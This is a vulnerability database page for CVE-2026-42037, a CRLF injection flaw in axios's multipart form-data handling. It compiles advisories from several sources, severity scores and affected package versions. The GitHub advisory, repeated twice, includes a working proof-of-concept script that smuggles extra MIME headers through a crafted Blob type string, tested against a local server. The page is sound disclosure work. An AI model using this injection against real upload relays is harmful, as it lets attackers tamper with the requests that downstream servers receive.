Every CVE Search/ Get API key

CVE-2026-42037

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

5.3 MediumFix available

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
None

Exploit likelihood

0.29%Up 0.3 points since Apr 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Record
CVE-2026-42037
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-93
Updated
2026-11-02
EUVDEUVD-2026-25603 5.3

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Record
EUVD-2026-25603
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-445q-vr5w-6q77 5.3

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Summary

The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details

In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:

if (isStringValue) {
  value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
  // value.type is NOT sanitized for CRLF sequences
  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}

Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

  1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
  2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
  3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
  4. The downstream server receives a multipart body containing injected per-part headers
  5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC

Prerequisites: Node.js 18+, axios (tested on 1.14.0)

const http = require('http');
const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => {
  let body = '';
  req.on('data', chunk => { body += chunk.toString(); });
  req.on('end', () => {
    receivedBody = body;
    res.writeHead(200);
    res.end('ok');
  });
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;

  class SpecFormData {
    constructor() {
      this._entries = [];
      this[Symbol.toStringTag] = 'FormData';
    }
    append(name, value) { this._entries.push([name, value]); }
    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }
    entries() { return this._entries[Symbol.iterator](); }
  }

  const fd = new SpecFormData();

  fd.append('photo', {
    type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
    size: 16,
    name: 'photo.jpg',
    [Symbol.asyncIterator]: async function*() {
      yield Buffer.from('MALICIOUS PAYLOAD');
    }
  });

  await axios.post(`http://127.0.0.1:${port}/upload`, fd);

  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
    console.log('Received body:\n' + receivedBody);
  } else {
    console.log('[NOT_VULNERABLE]');
  }

  server.close();
});

Steps to reproduce:

  1. npm install axios
  2. Save the above as poc_axios_crlf.js
  3. Run node poc_axios_crlf.js
  4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact

Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API…

Record
GHSA-445q-vr5w-6q77
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-93
Updated
2026-11-02
NVD 5.3

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Record
CVE-2026-42037
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-93
Updated
2026-11-02
OSV 5.3

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Record
CVE-2026-42037
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-93
Updated
2026-11-02
OSVDEBIAN-CVE-2026-42037 5.3

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Record
DEBIAN-CVE-2026-42037
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
Show 13 moreShow less
OSVGHSA-445q-vr5w-6q77 5.3

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Summary

The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details

In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:

if (isStringValue) {
  value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
  // value.type is NOT sanitized for CRLF sequences
  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}

Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

  1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
  2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
  3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
  4. The downstream server receives a multipart body containing injected per-part headers
  5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC

Prerequisites: Node.js 18+, axios (tested on 1.14.0)

const http = require('http');
const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => {
  let body = '';
  req.on('data', chunk => { body += chunk.toString(); });
  req.on('end', () => {
    receivedBody = body;
    res.writeHead(200);
    res.end('ok');
  });
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;

  class SpecFormData {
    constructor() {
      this._entries = [];
      this[Symbol.toStringTag] = 'FormData';
    }
    append(name, value) { this._entries.push([name, value]); }
    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }
    entries() { return this._entries[Symbol.iterator](); }
  }

  const fd = new SpecFormData();

  fd.append('photo', {
    type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
    size: 16,
    name: 'photo.jpg',
    [Symbol.asyncIterator]: async function*() {
      yield Buffer.from('MALICIOUS PAYLOAD');
    }
  });

  await axios.post(`http://127.0.0.1:${port}/upload`, fd);

  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
    console.log('Received body:\n' + receivedBody);
  } else {
    console.log('[NOT_VULNERABLE]');
  }

  server.close();
});

Steps to reproduce:

  1. npm install axios
  2. Save the above as poc_axios_crlf.js
  3. Run node poc_axios_crlf.js
  4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact

Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API…

Record
GHSA-445q-vr5w-6q77
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-93
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-42037 5.3

CVE-2026-42037 in axios - Patched by Root

Root has patched CVE-2026-42037 in the axios package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-42037
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-06
OSVUBUNTU-CVE-2026-42037 5.3

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Record
UBUNTU-CVE-2026-42037
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
OSVCLSA-2026-1784769505 No score

TuxCare security update for axios (18 CVEs)

TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.7-tuxcare.3.

Record
CLSA-2026-1784769505
Updated
2026-11-02
OSVCLSA-2026-1784769531 No score

TuxCare security update for axios (18 CVEs)

TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.5-tuxcare.2.

Record
CLSA-2026-1784769531
Updated
2026-11-02
OSVCLSA-2026-1784856205 No score

TuxCare security update for axios (21 CVEs)

TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.

Record
CLSA-2026-1784856205
Updated
2026-11-02
OSVCLSA-2026-1784943211 No score

TuxCare security update for axios (8 CVEs)

TuxCare rebuilt axios to address 8 CVEs. Fixed in 1.6.8-tuxcare.2.

Record
CLSA-2026-1784943211
Updated
2026-11-02
OSVCLSA-2026-1784943297 No score

TuxCare security update for axios (11 CVEs)

TuxCare rebuilt axios to address 11 CVEs. Fixed in 1.6.2-tuxcare.2.

Record
CLSA-2026-1784943297
Updated
2026-11-02
OSVCLSA-2026-1790764333 No score

TuxCare security update for axios (28 CVEs)

TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.

Record
CLSA-2026-1790764333
Updated
2026-11-02
OSVCLSA-2026-1793101849 No score

TuxCare security update for axios (32 CVEs)

TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.

Record
CLSA-2026-1793101849
Updated
2026-11-02
OSVCLSA-2026-1793110604 No score

TuxCare security update for axios (32 CVEs)

TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.

Record
CLSA-2026-1793110604
Updated
2026-11-02
OSVCLSA-2026-1793874599 No score

TuxCare security update for axios (27 CVEs)

TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.

Record
CLSA-2026-1793874599
Updated
2026-11-05
OSVCLSA-2026-1794060370 No score

TuxCare security update for axios (12 CVEs)

TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.15.0-tuxcare.1.

Record
CLSA-2026-1794060370
Updated
2026-11-07

Affected products

Affected packages

Affected packages
PackageAffectedFixed
axios
npm
1.0.0 up to 1.15.1
1.15.1
axios
TuxCare:npm
From an advisory covering 18 CVEs
1.7.7-tuxcare.0 up to 1.7.7-tuxcare.3, plus listed versions
1.7.71.7.7-tuxcare.11.7.7-tuxcare.2
1.7.7-tuxcare.3
axios
TuxCare:npm
From an advisory covering 18 CVEs
1.7.5-tuxcare.0 up to 1.7.5-tuxcare.2, plus listed versions
1.7.51.7.5-tuxcare.1
1.7.5-tuxcare.2
axios
TuxCare:npm
From an advisory covering 21 CVEs
1.7.9-tuxcare.0 up to 1.7.9-tuxcare.1, plus listed versions
1.7.9
1.7.9-tuxcare.1
axios
TuxCare:npm
From an advisory covering 8 CVEs
1.6.8-tuxcare.0 up to 1.6.8-tuxcare.2, plus listed versions
1.6.81.6.8-tuxcare.1
1.6.8-tuxcare.2
axios
TuxCare:npm
From an advisory covering 11 CVEs
1.6.2-tuxcare.0 up to 1.6.2-tuxcare.2, plus listed versions
1.6.21.6.2-tuxcare.1
1.6.2-tuxcare.2
axios
TuxCare:npm
From an advisory covering 28 CVEs
1.13.5-tuxcare.0 up to 1.13.5-tuxcare.1, plus listed versions
1.13.5
1.13.5-tuxcare.1
axios
TuxCare:npm
From an advisory covering 32 CVEs
1.13.2-tuxcare.0 up to 1.13.2-tuxcare.2, plus listed versions
1.13.21.13.2-tuxcare.1
1.13.2-tuxcare.2
axios
TuxCare:npm
From an advisory covering 32 CVEs
1.12.2-tuxcare.0 up to 1.12.2-tuxcare.1, plus listed versions
1.12.2
1.12.2-tuxcare.1
axios
TuxCare:npm
From an advisory covering 27 CVEs
1.13.6-tuxcare.0 up to 1.13.6-tuxcare.3, plus listed versions
1.13.61.13.6-tuxcare.11.13.6-tuxcare.2
1.13.6-tuxcare.3
Show 12 moreShow less
Affected packages
PackageAffectedFixed
axios
TuxCare:npm
From an advisory covering 12 CVEs
1.15.0-tuxcare.0 up to 1.15.0-tuxcare.1, plus listed versions
1.15.0
1.15.0-tuxcare.1
node-axios
Debian:12
All versions, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1
Show 17 moreShow less
1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.2.1+dfsg-11.2.1+dfsg-1+deb12u11.20.0-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-11.6.8+dfsg-21.7.3+dfsg-11.7.4+dfsg-11.7.7+dfsg-11.7.9+dfsg-11.8.4+dfsg-1
None known
node-axios
Debian:13
All versions, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1
Show 7 moreShow less
1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.20.0-11.8.4+dfsg-1
None known
node-axios
Debian:14
before 1.15.2-1, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-11.15.0-11.8.4+dfsg-1
1.15.2-1
axios
Root:npm
before 1.13.5-aikido.6
1.13.5-aikido.61.12.0-aikido.81.13.5-aikido.71.13.2-aikido.71.13.5-aikido.81.12.1-aikido.181.13.5-aikido.91.13.5-aikido.101.12.0-aikido.91.13.2-aikido.81.8.4-aikido.91.12.0-aikido.101.12.1-aikido.191.13.5-aikido.111.13.2-aikido.91.13.5-aikido.121.13.4-aikido.61.12.1-aikido.201.13.5-aikido.131.13.4-aikido.71.8.4-aikido.101.12.0-aikido.111.13.2-aikido.101.2.1-aikido.41.15.0-aikido.91.15.0-aikido.101.15.0-aikido.111.14.0-aikido.71.15.0-aikido.121.14.0-aikido.81.14.0-aikido.91.14.0-aikido.101.12.2-aikido.71.7.9-aikido.91.7.9-aikido.101.13.4-aikido.81.8.3-aikido.81.15.0-aikido.131.13.2-aikido.111.12.0-aikido.121.7.9-aikido.111.8.4-aikido.111.13.5-aikido.141.8.3-aikido.91.14.0-aikido.111.2.1-aikido.51.12.2-aikido.81.15.0-aikido.141.12.2-aikido.91.12.2-aikido.101.12.2-aikido.111.7.9-aikido.121.13.2-aikido.121.6.0-aikido.21.8.4-aikido.121.6.0-aikido.31.7.9-aikido.131.15.1-aikido.11.15.1-aikido.2
@rootio/axios
Root:npm
before 1.13.5-root.io.5
1.13.5-root.io.51.12.0-root.io.71.13.2-root.io.61.13.5-root.io.61.12.0-root.io.81.13.5-root.io.71.13.2-root.io.71.13.5-root.io.81.12.1-root.io.181.13.5-root.io.91.13.5-root.io.101.12.0-root.io.91.13.2-root.io.81.8.4-root.io.91.12.0-root.io.101.12.1-root.io.191.13.5-root.io.111.13.2-root.io.91.13.5-root.io.121.13.4-root.io.61.12.1-root.io.201.13.5-root.io.131.13.4-root.io.71.8.4-root.io.101.12.0-root.io.111.13.2-root.io.101.2.1-root.io.41.15.0-root.io.91.15.0-root.io.101.15.0-root.io.111.14.0-root.io.71.15.0-root.io.121.14.0-root.io.81.14.0-root.io.91.14.0-root.io.101.12.2-root.io.71.7.9-root.io.91.7.9-root.io.101.13.4-root.io.81.8.3-root.io.81.15.0-root.io.131.13.2-root.io.111.12.0-root.io.121.7.9-root.io.111.8.4-root.io.111.13.5-root.io.141.8.3-root.io.91.14.0-root.io.111.2.1-root.io.51.12.2-root.io.81.15.0-root.io.141.12.2-root.io.91.12.2-root.io.101.12.2-root.io.111.7.9-root.io.121.13.2-root.io.121.6.0-root.io.21.8.4-root.io.121.6.0-root.io.31.7.9-root.io.131.15.1-root.io.11.15.1-root.io.2
node-axios
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
0.19.0+dfsg-20.19.0+dfsg-2ubuntu0.1~esm1
None known
node-axios
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
0.21.1+dfsg-10.23.0+dfsg-20.24.0+dfsg-10.25.0+dfsg-20.26.0+dfsg-10.26.0+dfsg-1ubuntu0.1~esm1
None known
node-axios
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
1.2.1+dfsg-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-21.6.8+dfsg-2ubuntu0.1~esm1
None known
node-axios
Ubuntu:25.10
All versions, plus listed versions
1.7.9+dfsg-11.8.4+dfsg-11.11.0+dfsg-1
None known
node-axios
Ubuntu:26.10
All versions, plus listed versions
1.13.2+dfsg-1build11.16.0-11.18.0-11.19.0-1
None known
node-axios
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.2+dfsg-1build11.13.2+dfsg-1ubuntu0.1~esm1
None known

History

History
RecordedChangedSources
affected, aliasesOSV
affectedOSV
affectedOSV
affected, aliases, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42037 is a medium vulnerability (CVSS 5.3) in Axios, published April 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 22nd percentile. Fixed in axios 1.15.1.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open